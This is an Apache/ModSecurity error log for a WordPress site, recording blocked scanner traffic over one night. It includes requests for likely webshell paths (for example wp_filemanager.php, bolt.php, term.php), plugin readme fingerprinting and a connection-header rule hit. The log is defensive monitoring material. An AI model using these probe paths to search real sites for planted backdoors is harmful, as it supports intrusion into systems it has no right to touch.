[Sat Mar 28 20:42:32.661130 2026] [:error] [pid 43579:tid 43615] [client 37.187.27.125:37048] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "acfMuCRqN4JVI8gB7An1rAAAAoc"]
[Sat Mar 28 20:42:36.765372 2026] [:error] [pid 64861:tid 64941] [client 37.187.27.125:38168] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "acfMvOxK22_lUN2kvnVpmQAAAIY"]
[Sat Mar 28 20:42:40.553614 2026] [:error] [pid 34631:tid 34672] [client 37.187.27.125:39214] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "acfMwDtzjMMS6kojpeRM-gAAAcw"]
[Sat Mar 28 20:42:43.897985 2026] [:error] [pid 43579:tid 43618] [client 37.187.27.125:40058] [client 37.187.27.125] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "acfMwyRqN4JVI8gB7An1swAAAoo"]
[Sat Mar 28 21:48:14.681189 2026] [:error] [pid 64860:tid 64922] [client 182.42.111.156:49504] [client 182.42.111.156] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acfcHhkU3N0pg_4aEL-npgAAAE4"]
[Sat Mar 28 23:18:34.246990 2026] [:error] [pid 64859:tid 64882] [client 43.135.142.37:60150] [client 43.135.142.37] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "acfxSm3qEBHXq3rHdBl0GwAAAAE"]
[Sat Mar 28 23:36:41.256729 2026] [:error] [pid 43578:tid 43583] [client 45.94.31.49:62170] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acf1iXNG2YdGm41aN8I3yAAAAkI"]
[Sat Mar 28 23:36:41.957465 2026] [:error] [pid 64859:tid 64890] [client 45.94.31.49:57707] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acf1iW3qEBHXq3rHdBl4uQAAAAk"]
[Sat Mar 28 23:36:42.773362 2026] [:error] [pid 43547:tid 43554] [client 45.94.31.49:52925] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acf1ij4ZEfdetXP-9aAQiQAAAgU"]
[Sat Mar 28 23:36:43.392463 2026] [:error] [pid 64860:tid 64910] [client 45.94.31.49:65257] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acf1ixkU3N0pg_4aEL-70AAAAEI"]
[Sat Mar 28 23:36:44.176670 2026] [:error] [pid 43578:tid 43581] [client 45.94.31.49:60918] [client 45.94.31.49] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "acf1jHNG2YdGm41aN8I4AQAAAkA"]
[Sun Mar 29 00:04:50.318853 2026] [:error] [pid 34597:tid 34608] [client 20.151.113.137:22392] [client 20.151.113.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acf8IoluI7-e5s1cafe57QAAAUc"]
[Sun Mar 29 00:04:50.751383 2026] [:error] [pid 64859:tid 64885] [client 20.151.113.137:22348] [client 20.151.113.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acf8Im3qEBHXq3rHdBmDKgAAAAQ"]
[Sun Mar 29 00:04:51.173604 2026] [:error] [pid 43578:tid 43603] [client 20.151.113.137:22367] [client 20.151.113.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acf8I3NG2YdGm41aN8JPqAAAAlY"]
[Sun Mar 29 00:04:51.613860 2026] [:error] [pid 43578:tid 43596] [client 20.151.113.137:22289] [client 20.151.113.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/plugins/hellopress/wp_filemanager.php"] [unique_id "acf8I3NG2YdGm41aN8JPqwAAAk8"]
[Sun Mar 29 00:19:54.254708 2026] [authz_core:error] [pid 64861:tid 64941] [client 123.6.49.17:1600] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/elementor-pro/readme.txt
[Sun Mar 29 00:19:58.203746 2026] [authz_core:error] [pid 43578:tid 43582] [client 123.6.49.38:31235] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/wpforms/readme.txt
[Sun Mar 29 00:20:12.226464 2026] [authz_core:error] [pid 34597:tid 34620] [client 123.6.49.46:13723] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/google-analytics-premium/readme.txt
[Sun Mar 29 00:20:13.074643 2026] [authz_core:error] [pid 43579:tid 43627] [client 123.6.49.17:17734] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/sticky-header-effects-for-elementor/readme.txt
[Sun Mar 29 00:20:13.761887 2026] [authz_core:error] [pid 43578:tid 43603] [client 123.6.49.49:61678] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/elementor/readme.txt
[Sun Mar 29 00:20:14.485880 2026] [authz_core:error] [pid 43578:tid 43588] [client 123.6.49.46:61331] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/plugins/smart-slider-3/readme.txt
[Sun Mar 29 00:20:15.451888 2026] [authz_core:error] [pid 43578:tid 43604] [client 123.6.49.14:29687] AH01630: client denied by server configuration: /home/vetstars/public_html/wp-content/themes/hello-elementor/readme.txt
[Sun Mar 29 01:28:08.352207 2026] [:error] [pid 39427:tid 39447] [client 158.23.144.198:37893] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "acgPqFvLf0RDUqcYq-Y7uwAAAA8"]
[Sun Mar 29 01:28:08.739579 2026] [:error] [pid 39427:tid 39437] [client 158.23.144.198:48787] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "acgPqFvLf0RDUqcYq-Y7vAAAAAU"]
[Sun Mar 29 01:28:09.142220 2026] [:error] [pid 39514:tid 39530] [client 158.23.144.198:37912] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "acgPqSkUyvlQod6qQu2ItAAAAMU"]
[Sun Mar 29 01:28:09.533827 2026] [:error] [pid 39514:tid 39524] [client 158.23.144.198:63678] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/grsiuk.php"] [unique_id "acgPqSkUyvlQod6qQu2ItwAAAMA"]
[Sun Mar 29 01:28:09.925950 2026] [:error] [pid 39514:tid 39534] [client 158.23.144.198:37915] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "acgPqSkUyvlQod6qQu2IuQAAAMk"]
[Sun Mar 29 01:28:10.325309 2026] [:error] [pid 39429:tid 39500] [client 158.23.144.198:38286] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "acgPqk8pSj6sqgZaItnVWQAAAI4"]
[Sun Mar 29 01:28:10.728088 2026] [:error] [pid 39429:tid 39489] [client 158.23.144.198:41070] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "acgPqk8pSj6sqgZaItnVWgAAAIM"]
[Sun Mar 29 01:28:11.124473 2026] [:error] [pid 39429:tid 39490] [client 158.23.144.198:37890] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jp.php"] [unique_id "acgPq08pSj6sqgZaItnVXQAAAIQ"]
[Sun Mar 29 01:28:11.515819 2026] [:error] [pid 39428:tid 39474] [client 158.23.144.198:63674] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "acgPq6XMrozFMIaP8nL19gAAAE8"]
[Sun Mar 29 01:28:11.931311 2026] [:error] [pid 39429:tid 39486] [client 158.23.144.198:40536] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "acgPq08pSj6sqgZaItnVYQAAAIA"]
[Sun Mar 29 01:28:12.321163 2026] [:error] [pid 39428:tid 39477] [client 158.23.144.198:48788] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "acgPrKXMrozFMIaP8nL19wAAAFI"]
[Sun Mar 29 01:28:12.714275 2026] [:error] [pid 39428:tid 39460] [client 158.23.144.198:48816] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/term.php"] [unique_id "acgPrKXMrozFMIaP8nL1-AAAAEE"]
[Sun Mar 29 01:28:13.096943 2026] [:error] [pid 39428:tid 39469] [client 158.23.144.198:37938] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bootstrap.php"] [unique_id "acgPraXMrozFMIaP8nL1-gAAAEo"]
[Sun Mar 29 01:28:13.493940 2026] [:error] [pid 39429:tid 39508] [client 158.23.144.198:37928] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bootstrap.php"] [unique_id "acgPrU8pSj6sqgZaItnVZAAAAJY"]
[Sun Mar 29 01:28:13.899820 2026] [:error] [pid 39429:tid 39494] [client 158.23.144.198:63628] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bootstrap.php"] [unique_id "acgPrU8pSj6sqgZaItnVZQAAAIg"]
[Sun Mar 29 01:28:14.283989 2026] [:error] [pid 39428:tid 39482] [client 158.23.144.198:34981] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bootstrap.php"] [unique_id "acgPrqXMrozFMIaP8nL1-wAAAFc"]
[Sun Mar 29 01:28:14.676179 2026] [:error] [pid 39514:tid 39528] [client 158.23.144.198:40515] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "acgPrikUyvlQod6qQu2IxAAAAMM"]
[Sun Mar 29 01:28:15.081548 2026] [:error] [pid 39514:tid 39549] [client 158.23.144.198:63647] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "acgPrykUyvlQod6qQu2IxgAAANc"]
[Sun Mar 29 01:28:15.494929 2026] [:error] [pid 39429:tid 39491] [client 158.23.144.198:37910] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "acgPr08pSj6sqgZaItnVZwAAAIU"]
[Sun Mar 29 01:28:15.892032 2026] [:error] [pid 39429:tid 39496] [client 158.23.144.198:64307] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kj.php"] [unique_id "acgPr08pSj6sqgZaItnVaAAAAIo"]
[Sun Mar 29 01:28:16.285399 2026] [:error] [pid 39427:tid 39453] [client 158.23.144.198:63621] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "acgPsFvLf0RDUqcYq-Y7vgAAABU"]
[Sun Mar 29 01:28:16.679209 2026] [:error] [pid 39428:tid 39464] [client 158.23.144.198:63677] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "acgPsKXMrozFMIaP8nL1_wAAAEU"]
[Sun Mar 29 01:28:17.072102 2026] [:error] [pid 39428:tid 39465] [client 158.23.144.198:4630] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "acgPsaXMrozFMIaP8nL2AQAAAEY"]
[Sun Mar 29 01:28:17.457169 2026] [:error] [pid 39514:tid 39538] [client 158.23.144.198:38279] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/install.php"] [unique_id "acgPsSkUyvlQod6qQu2IygAAAM0"]
[Sun Mar 29 01:28:17.850442 2026] [:error] [pid 39514:tid 39528] [client 158.23.144.198:47542] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buc.php"] [unique_id "acgPsSkUyvlQod6qQu2IywAAAMM"]
[Sun Mar 29 01:28:18.232642 2026] [:error] [pid 39428:tid 39467] [client 158.23.144.198:63623] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buc.php"] [unique_id "acgPsqXMrozFMIaP8nL2BAAAAEg"]
[Sun Mar 29 01:28:18.613282 2026] [:error] [pid 39428:tid 39472] [client 158.23.144.198:37889] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buc.php"] [unique_id "acgPsqXMrozFMIaP8nL2BQAAAE0"]
[Sun Mar 29 01:28:19.009749 2026] [:error] [pid 39428:tid 39478] [client 158.23.144.198:45015] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buc.php"] [unique_id "acgPs6XMrozFMIaP8nL2CQAAAFM"]
[Sun Mar 29 01:28:19.401075 2026] [:error] [pid 39428:tid 39482] [client 158.23.144.198:41055] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "acgPs6XMrozFMIaP8nL2CgAAAFc"]
[Sun Mar 29 01:28:19.790911 2026] [:error] [pid 39427:tid 39455] [client 158.23.144.198:38313] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "acgPs1vLf0RDUqcYq-Y7wwAAABc"]
[Sun Mar 29 01:28:20.185419 2026] [:error] [pid 39429:tid 39501] [client 158.23.144.198:64267] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "acgPtE8pSj6sqgZaItnVcQAAAI8"]
[Sun Mar 29 01:28:20.565198 2026] [:error] [pid 39428:tid 39464] [client 158.23.144.198:40533] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abc.php"] [unique_id "acgPtKXMrozFMIaP8nL2DwAAAEU"]
[Sun Mar 29 01:28:20.984996 2026] [:error] [pid 39427:tid 39444] [client 158.23.144.198:47532] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "acgPtFvLf0RDUqcYq-Y7xQAAAAw"]
[Sun Mar 29 01:28:21.375719 2026] [:error] [pid 39514:tid 39538] [client 158.23.144.198:45014] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "acgPtSkUyvlQod6qQu2I0wAAAM0"]
[Sun Mar 29 01:28:21.770345 2026] [:error] [pid 39427:tid 39451] [client 158.23.144.198:47535] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "acgPtVvLf0RDUqcYq-Y7xwAAABM"]
[Sun Mar 29 01:28:22.159348 2026] [:error] [pid 39514:tid 39528] [client 158.23.144.198:63637] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-blogs.php"] [unique_id "acgPtikUyvlQod6qQu2I1gAAAMM"]
[Sun Mar 29 01:28:22.549108 2026] [:error] [pid 39428:tid 39483] [client 158.23.144.198:38277] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acgPtqXMrozFMIaP8nL2EQAAAFg"]
[Sun Mar 29 01:28:22.947321 2026] [:error] [pid 39514:tid 39525] [client 158.23.144.198:41084] [client 158.23.144.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/css/bolt.php"] [unique_id "acgPtikUyvlQod6qQu2I2QAAAME"]
